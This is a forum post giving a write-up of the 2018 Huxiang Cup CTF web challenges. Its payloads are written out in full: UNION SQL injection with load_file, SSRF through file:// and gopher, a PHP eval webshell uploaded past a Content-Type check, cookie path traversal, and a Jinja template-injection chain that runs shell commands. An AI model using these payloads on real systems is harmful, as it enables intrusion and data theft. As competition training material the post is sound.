用户
搜索

[参加活动] 湖湘杯2018Web Writeup

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

5

主题

14

帖子

112

魔法币
收听
0
粉丝
0
注册时间
2018-1-1

i春秋签约作者

发表于 2018-11-19 16:25:29 36233

Code Check

扫描发现/news 目录

进入后下载

list.zip

代码审计

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
    mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
    $data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    if(substr(trim($data),-7)!=='hxb2018'){
        echo '<script>window.location.href="/index.php";</script>';
    }else{
        return substr(trim($data),0,strlen(trim($data))-7);
    }
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

发现aes加密,然后查询,没有加任何过滤参数

直接在线网站

http://tool.chacuo.net/cryptaes?tdsourcetag=s_pcqq_aiomsg

然后依次注入

发现用户库

注入出账号密码

解密后登陆依然报错。。。

因为之前发现0.php是phpinfo页面

而且报错给出了绝对路径

所以尝试load_file

payload

1 and 1=2 union select 1,load_file('/usr/share/nginx/html/login.php'),3,4 from stormgroup_memberhxb2018

aes加密后,访问拖出来源码

<?php
header('content-type:text/html;charset=utf-8');
require_once 'config.php';
$name=trim($_POST['name']);
$regex = "/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\"|\'/";
$name = preg_replace($regex,"",$name);
$pwd=trim($_POST['password']);
if (empty($name) or empty($pwd)){
    echo '<script>alert("?????????!");window.history.back();</script>';
    exit();
}
$md5=md5($pwd);
$sql="select name,password,status from StormGroup_member where name ='$name' AND password='$md5'";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
if (empty($arr)){
    echo '<script>alert("???????");window.history.back();</script>';
    exit();
}
if ($arr['status']==0){
    echo '<script>alert("???????????");window.history.back();</script>';
    exit();
}
if ($arr==true){
    $sql = "select title from notice2 limit 1";
    $i = $link->query($sql);
    $a = $i->fetch_assoc();
    $res = $a['title'];
?>

发现关键部分

if ($arr==true){
    $sql = "select title from notice2 limit 1";
    $i = $link->query($sql);
    $a = $i->fetch_assoc();
    $res = $a['title'];
}

直接查询

1 and 1=2 union select 1,title,3,4 from notice2hxb2018

aes加密后访问,getflag

Readflag

使用file协议读取apche配置文件

http://47.107.237.27/?url=file://127.0.0.1//etc/apache2/sites-available/000-default.conf

获得web目录

<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/ssrf/web.php
    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

读取web.php 源码

<?php 
if(!isset($_GET['url'])){
  echo "ssrf me with parameter 'url'";
}
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
echo curl_exec($ch); 
curl_close($ch); 

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
  if($_POST['user']=="admin" && $ip=="127.0.0.1"){
    system("/var/www/html/ssrf/readflag");
}
}
?>

根据题目要求应该是绕过REMOTE_ADDR方法

这里存在非预期

http://47.107.237.27/?url=file://127.0.0.1//var/www/html/ssrf/flag

正解 如下利用gopher协议

http://47.107.237.27/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin

MyNote

文件上传检测 Content-Type当为image/jpeg允许上传

POST /index.php/upload HTTP/1.1
Host: 47.107.239.135
Content-Length: 310
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://47.107.239.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvlIwZw5b6U7jouIA
Referer: http://47.107.239.135/index.php/upload
Accept-Language: zh-CN,zh;q=0.8
Cookie: Picture=YTozOntpOjA7czo3OiJ4eHgucGhwIjtpOjE7czo3OiJ4eHguanBnIjtpOjI7czo4OiJ0ZXN0LmpwZyI7fQ%3D%3D; PHPSESSID=nqa95frrevqbi7c18opi64243j
Connection: close

------WebKitFormBoundaryvlIwZw5b6U7jouIA
Content-Disposition: form-data; name="upfile"; filename="a.php"
Content-Type: image/jpeg

<?php
@eval($_POST[cmd]);
?>
------WebKitFormBoundaryvlIwZw5b6U7jouIA
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryvlIwZw5b6U7jouIA--

上传jpg文件,然后点击

picture

抓包

修改cookie中的Picture参数,这里的flag.php 通过访问 robots.txt获得

a:1:{i:0;s:14:"../../flag.php";}

然后进行base64编码和url编码后传入Picture参数中

YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30%3D

然后查看图片位置返回的base64结果

base64解密得到flag

刚开始题目放出来的时候有个非预期解,可以文件上传能content-type修改绕过,然后upload目录能非授权访问,md5的目录名就是用户名md5加密后的,当时下手太慢,拖出来了config.php的源码后,就被删了,之后我还以为是条件竞争,尝试了之后,上传php会ban ip。再后来上传功能就被破坏掉了

config.php

<?php 

$config['Database']['servername'] = "localhost";
$config['Database']['dbname'] = "Note";
$config['Database']['username'] = "ctf";
$config['Database']['password'] = "root";

$router = ['index','login','register','note','logout','del','upload','picture'];
$salt = '4ct10n';

XmeO

考察点是ssti,没有任何防护,可以直接eval执行系统命令

难点在于,找flag存放的文件

首先找到web目录

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls -r /*/*").read()')}}

发现web目录

然后grep搜索flag字符

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("grep hxb2018{ /home/XmeO/*").read()')}}

查看结果,找到flag

发表于 2018-11-19 20:48:27
厉害厉害厉害厉害厉害v
使用道具 举报 回复
不容易啊
使用道具 举报 回复
大佬
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册